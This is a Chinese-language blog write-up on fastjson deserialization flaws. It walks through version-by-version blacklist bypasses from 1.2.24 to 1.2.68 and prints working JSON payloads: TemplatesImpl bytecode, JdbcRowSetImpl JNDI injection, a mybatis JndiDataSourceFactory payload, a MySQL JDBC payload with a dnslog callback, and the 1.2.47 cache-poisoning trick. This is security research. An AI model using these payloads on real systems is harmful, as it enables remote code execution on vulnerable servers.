首页 > 其他分享 >fastjson 反序列化

fastjson 反序列化

时间:2024-09-27 13:49:15浏览次数:8  
标签:fastjson 1.2 黑名单 JSON 序列化 com

fastjaon 反序列化

fastjson 简介

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。

使用 demo

一、将类转换为 json

这里一般用的函数就是 JSON.toJSONString(),该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:

  • 序列化特性:com.alibaba.fastjson.serializer.SerializerFeature,可以通过设置多个特性到 FastjsonConfig 中全局使用,也可以在使用具体方法中指定特性。如 SerializerFeature.WriteClassName 当这个特性被启用,JSON 数据中将嵌入该对象的类的全名。

  • 序列化过滤器:com.alibaba.fastjson.serializer.SerializeFilter,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。

  • 序列化时的配置:com.alibaba.fastjson.serializer.SerializeConfig ,可以添加特点类型自定义的序列化配置。

二、将 json 反序列化为 java 类

将 json 数据反序列化时常使用的方法为parse()parseObject()parseArray(),这三个方法也均包含若干重载方法,带有不同参数:

  • 反序列化特性:com.alibaba.fastjson.parser.Feature

  • 类的类型:java.lang.reflect.Type,用来执行反序列化类的类型。

  • 处理泛型反序列化:com.alibaba.fastjson.TypeReference

  • 编程扩展定制反序列化:com.alibaba.fastjson.parser.deserializer.ParseProcess,例如ExtraProcessor 用于处理多余的字段,ExtraTypeProvider 用于处理多余字段时提供类型信息。

三、demo

package org.example;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.ParserConfig;  
import com.alibaba.fastjson.serializer.SerializerFeature;  
  
public class Main {  
    public static void main(String[] args) {  
        user user = new user("Bob", "123.com");  
  
        //序列化方式--指定类和不指定类  
        String json1 = JSON.toJSONString(user);  
        System.out.println(json1);
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);  
        System.out.println(json2);
  
  
  
        //反序列化  
        //默认解析为JSONObject  
        System.out.println(JSON.parse(json1));
        System.out.println(JSON.parse(json1).getClass().getName());  
        
        //依据序列化中的@type进行自动反序列化成目标对象类型  
        ParserConfig.getGlobalInstance().addAccept("org.example.user");//默认的auto是关闭的,这里加入白名单,版本低就不存在  
        System.out.println(JSON.parse(json2));
        System.out.println(JSON.parse(json2).getClass().getName()); 
  
        //手动指定type,反序列化成目标对象类型  
        System.out.println(JSON.parseObject(json1, user.class));
        System.out.println(JSON.parseObject(json1, user.class).getClass().getName());
  
    }  
}

结果

总结:使用JSON.toJSONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。

注意:反序列化的对象必须具有默认的 无参构造器get|set 方法,反序列化的底层实现就是通过 无参构造器get|set 方法进行的

补充

、fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,

其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法。

setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。

、使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。

、如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

、fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。

五、fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

过程调试

序列化

把指定类的名字写入到序列化数据中,执行写操作时,JSONSerializer会依据config,进行序列化操作。

反序列化

自动反序列化和指定类进行反序列化调用链后面基本是一样的。只是指定了 class 就不用去从 type 获得了,而自动反序列化是通过 loadclass 来获取的 class。

然后调用 deserialze 进行反序列化,这里不知道为什么跟不进去了,其实应该就是在这里面调用的 setter 和 getter 方法进行赋值,也可以直接看调用栈。

漏洞点其实就是在进行反序列化的时候会调用 getter 和 setter 方法,并且构造函数会调用。

漏洞分析

fastjson-1.2.24

在这个版本中有两条链子。

TemplatesImpl 反序列化

TemplatesImpl 的恶意 getter 方法就在熟悉不过了,调用后可以动态加载恶意字节码。

gadget

getOutputProperties
	newTransformer()
		getTransletInstance()
			defineTransletClasses()
				defineClass()

poc

package org.example;  
  
import com.alibaba.fastjson.JSON;  
import com.alibaba.fastjson.parser.Feature;  
  
public class exp1 {  
    public static void main(String[] args)throws Exception {  
        String jsonInput = "{\n" +  
                "    \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +  
                "    \"_bytecodes\": [\"yv66vgAAADQAGQEABmdhb3JlbgcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY\"],\n" +  
                "    \"_name\": \"gaoren\",\n" +  
                "    \"_tfactory\": {},\n" +  
                "    \"_outputProperties\": {}\n" +  
                "}";  
  
        JSON.parseObject(jsonInput, Feature.SupportNonPublicField);  
    }  
}

其中设置 Feature.SupportNonPublicField 是由于部分需要我们更改的私有变量没有 setter 方法。

具体分析见下面番外

JdbcRowSetImpl 反序列化

简单介绍一下这个类:JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl ,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup() 参数可控导致的 JNDI 注入。

在其 setAutoCommit 方法中,看到在 this.conn 为空时,将会调用 this.connect() 方法。

跟进,看到会调用 lookup 方法,而this.getDataSourceName()可控

直接参考 JNDI 注入,构造 poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/hello","autoCommit":true}

这里注意一点,jdk版本需要满足 8u161 < jdk < 8u191

fastjson-1.2.25

1.2.25 <= fastjson <= 1.2.41

在此版本中,官方新加了黑白名单,在 ParserConfig 中可以看到黑名单的内容。而且设置了一个 autoTypeSupport 用来控制是否可以反序列化,autoTypeSupport 默认为 false 且禁止反序列化,为true时会使用 checkAutoType 来进行安全检测

添加白名单的 3 种情况

1. 使用代码进行添加:`ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)`
2. 加上JVM启动参数:`-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.`
3. 在fastjson.properties中添加:`fastjson.parser.autoTypeAccept=org.su18.fastjson.`

接着来看一下checkAutoType怎么进行拦截的,在autoTypeSupport开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常

接着继续往下看,从 Mapping 中寻找类没有就继续从 deserializers 中寻找类,然后如果autoTypeSupport没有开启的情况下,会对指定的@type类进行黑白名单判断,然后抛出异常,最后如果autoTypeSupport开启的情况下,会再一次进行判断然后进入到TypeUtils.loadClass

跟进到 TypeUtils.loadClass 中,看见这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符

所以这里可以在恶意类前面加上 L 等字符绕过黑名单然后再 loadclass 时被处理掉,所以构造

{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/hello\",\"autoCommit\":true}

这样就绕过 checkAutoType 函数然后返回 class 进行反序列化,最后弹出计算机

fastjson-1.2.42

1.2.25 <= fastjson <= 1.2.42

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

同样黑名单在 com.alibaba.fastjson.parser.ParserConfig 中,只不过黑名单中的类全部换为了 hash 值。

并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除(hash 写的)。

很显然直接双写绕过即可

{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/hello\",\"autoCommit\":true}

fastjson-1.2.43

1.2.25 <= fastjson <= 1.2.43

这个版本主要是修复上一个版本中双写绕过的问题。可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常,

这个绕过也很荣容易,利用 [ 进行黑名单即可

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"rmi://127.0.0.1:1099/hello",
    "autoCommit":true
}

fastjson-1.2.44

影响版本:1.2.25 <= fastjson <= 1.2.44

这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。

可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。

fastjson-1.2.45

影响版本:1.2.25 <= fastjson <= 1.2.45

在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。

但是说实话这个需要依赖,感觉利用面不大

<dependency>  
    <groupId>org.mybatis</groupId>  
    <artifactId>mybatis</artifactId>  
    <version>3.5.7</version>
</dependency>
{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"rmi://127.0.0.1:1099/hello"
    }
}

弹出计算机

fastjson-1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.47

同样跟进到函数 checkAutoType() 中, autoTypeSupport 为 true 时,代码会进行黑名单判断,但是看到还有一个条件才会抛出异常,就是从 Mapping 中寻找类为 null ,如果不存在才会抛出错误,

不抛出异常就继续向下走,

if (clazz == null) {  
    clazz = TypeUtils.getClassFromMapping(typeName);  
}

显然这里执行了后 clazz 就不为 null 了,不为 null 后返回 clazz,成功过了 checkautoType,然后进行反序列化

这是让 autoTypeSupport 为 true 时的过程,要是 autoTypeSupport 不为 true,那也不影响,直接就会跳过判断到

if (clazz == null) {  
    clazz = TypeUtils.getClassFromMapping(typeName);  
}

不为 null 同样返回 clazz,这里就成了利用点。现在就是需要知道怎么使得 TypeUtils.getClassFromMapping(typeName); 返回有值了。

发现在 ParserConfig 类初始化时会执行 initDeserializers 方法,会向 deserializers 中添加许多的类,其中会添加这么一个类 this.deserializers.put(Class.class, MiscCodec.instance);

进入到 MiscCodec 类中,有这么一个方法 deserialze,在方法内会对 clazz 进行判断,当类为 Class.class 也就是 java.lang.Class 类时,会进入到 TypeUtils.loadClass 中,而在进行 json 反序列化时会调用这个方法,


TypeUtils.loadClass中,如果cache为true则会将className放到mapping中,其中cache默认为true,className为传进来的strVal

deserialze 中,strValobjVal 强制转换而来 strVal = (String)objVal

objVal是在parser.parse()中截取而来,且参数名必须为val,否则会抛出异常,也就是说可以通过反序列化往mapping中添加任何类,这样的话添加com.sun.rowset.JdbcRowSetImpl类,从而绕过autoTypeSupport的和黑名单的限制,然后再次传递json去触发JdbcRowSetImpl的JNDI注入

pyaload

{
    "111": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "222": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://127.0.0.1:1099/hello",
        "autoCommit": true
    }
}

fastjson-1.2.68

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

影响版本:fastjson <= 1.2.68

在此版本中新增了一个 safeMode 功能,如果开启的话,将会直接抛出异常,完全杜绝了 autoTypeSupport 的绕过,于此同时还曝出了在不开启 safeMode 的前提下,对 autoTypeSupport 的绕过。

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

流程图

现在需要找到满足条件的类

  • 继承于java.lang.AutoCloseabl或java.util.BitSet
  • 不在fastjson的黑名单类中
  • 其父类和父类接口不在黑名单中

并且还需要其构造方法,setter,getter 能实现 rce,看师傅们写的继承于 java.lang.AutoCloseable 的类能够导致的漏洞:

payload

{"@type":"java.lang.AutoCloseable", 
"@type":"com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo":"127.0.0.1",
"portToConnectTo":3306,
"url":"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo":"test",
"info": {"@type":"java.util.Properties",
"PORT":"3306",
"statementInterceptors":"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor",
"autoDeserialize":"true",
"user":"yso_URLDNS_http://apwaty.dnslog.cn",
"PORT.1": "3306",
"HOST.1":"127.0.0.1",
"NUM_HOSTS":"1",
"HOST":"127.0.0.1",
"DBNAME":"test"}}
}

参考:https://www.javasec.org/java-vuls/FastJson.html

参考:https://tttang.com/archive/1579/

标签:fastjson,1.2,黑名单,JSON,序列化,com
From: https://www.cnblogs.com/gaorenyusi/p/18435525

相关文章

  • PHP反序列化1(基础入门)
    考点1:反序列化基础<aside>......
  • PHP反序列化2(OC绕过.wakeup绕过)
    考点2:OC绕过、wakeup绕过<aside>......
  • Java中的序列化和反序列化
    Java中序列化和反序列化的区别序列化和反序列化的定义序列化(Serialization)与反序列化(Deserialization)是编程中常见的两个概念,他们主要涉及到将数据结构或对象状态转换为可以存储或传输的格式,以及将存储或传输的格式转换回原始的数据结构或对象状态的过程。这两个过程在数据持久......
  • 04 JSON 序列化 反序列化
    `#!/usr/bin/envpython#-*-coding:utf-8-*-#@File:json字符串-序列化-反序列化.py#@Author:jhchena#@Date:2024/8/18#@Desc:#@Contact:[email protected]=[11,22,33,44]#python转换成json格式-序列化dic_string=......
  • Java序列化、反序列化、反序列化漏洞
    目录1序列化和反序列化1.1概念1.2序列化可以做什么?3实现方式3.1Java原生方式3.2第三方方式4反序列化漏洞1序列化和反序列化1.1概念Java中序列化的意思是将运行时的对象转成可网络传输或者存储的字节流的过程。而反序列化正相反,是把字节流恢复成对象的过程。1.2序......
  • [Python手撕]二叉树的序列化和反序列化
    #Definitionforabinarytreenode.#classTreeNode(object):#def__init__(self,x):#self.val=x#self.left=None#self.right=NoneclassCodec:defserialize(self,root):defdfs(root):ifr......
  • system.text.Json 针对继承多态类型的集合,使用自定义Converter,进行json序列化
    测试类:[JsonConverter(typeof(PersonConverter))]publicclassPerson{publicstringFirstName{get;set;}publicstringLastName{get;set;}}[JsonConverter(typeof(PersonConverter))]publicclassEmployee:Person{pub......
  • Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
    JdbcRowSetImpl利用链前言首先说明一下:利用链都有自己的使用场景,要根据场景进行选择不同的利用链。JdbcRowSetImpl利用链用于fastjson反序列化漏洞中。为什么?因为fastjson会在反序列化类时自动调用set开头的方法(不一定是setter方法),而JdbcRowSetImpl中存在一个set开头的方法,即......
  • Java反序列化利用链篇 | CC1链_全网最菜的分析思路【本系列文章的分析重点】
    CC1链_全网最菜的分析思路1你必须知道的点1.1反序列化利用链的起点是readObject()方法Java的序列化机制允许将对象的状态保存到一个字节流中,之后可以从这个字节流中恢复(或“反序列化”)出对象。这个过程中,ObjectInputStream类负责读取这些字节流,并尝试根据包含的类型信息重新......
  • Java反序列化调用链分析系列 | URLDNS链
    URLDNS链URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。该链比较简单,利用链也比较短。其中入口类为HashMap,执行类为URLStreamHandler的hashCode()方法。整个调用链如下:HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()......